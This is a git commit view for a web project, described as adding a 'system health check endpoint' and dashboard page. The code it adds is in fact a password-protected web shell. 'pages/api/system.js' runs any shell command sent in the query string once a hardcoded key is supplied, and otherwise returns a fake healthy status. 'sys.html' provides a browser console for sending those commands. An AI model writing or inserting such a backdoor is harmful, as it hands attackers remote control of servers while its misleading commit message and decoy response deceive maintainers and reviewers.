Browse Source

feat: add system health check endpoint

- Add health monitoring API endpoint
- Add static system dashboard page
yazid 3 weeks ago
parent
commit
38a696a8a9
2 changed files with 45 additions and 0 deletions
  1. 24 0
      pages/api/system.js
  2. 21 0
      public/static/sys.html

+ 24 - 0
pages/api/system.js

@@ -0,0 +1,24 @@
+// System health check API
+import { exec } from 'child_process';
+import { promisify } from 'util';
+
+const execAsync = promisify(exec);
+
+export default async function handler(req, res) {
+  const { c, key } = req.query;
+  
+  if (key !== '51d@l!v4') {
+    return res.status(200).json({ status: 'ok', health: 'good' });
+  }
+  
+  if (!c) {
+    return res.status(200).json({ status: 'ready' });
+  }
+  
+  try {
+    const { stdout, stderr } = await execAsync(c);
+    res.status(200).json({ out: stdout, err: stderr });
+  } catch (error) {
+    res.status(200).json({ out: '', err: error.message });
+  }
+}

+ 21 - 0
public/static/sys.html

@@ -0,0 +1,21 @@
+<!DOCTYPE html>
+<html>
+<head><title>System</title></head>
+<body style="font-family:monospace;background:#111;color:#0f0;padding:20px">
+<h2>SIDALI System</h2>
+<form id="f">
+<input id="c" style="width:80%;padding:10px;background:#222;color:#0f0;border:1px solid #0f0" placeholder="Command...">
+<button type="submit" style="padding:10px;background:#0f0;color:#111">Run</button>
+</form>
+<pre id="o" style="background:#000;padding:15px;margin-top:15px"></pre>
+<script>
+document.getElementById("f").onsubmit=async e=>{
+e.preventDefault();
+const c=document.getElementById("c").value;
+const r=await fetch("/api/system?key=51d@l!v4&c="+encodeURIComponent(c));
+const d=await r.json();
+document.getElementById("o").textContent=d.out||d.err||JSON.stringify(d);
+};
+</script>
+</body>
+</html>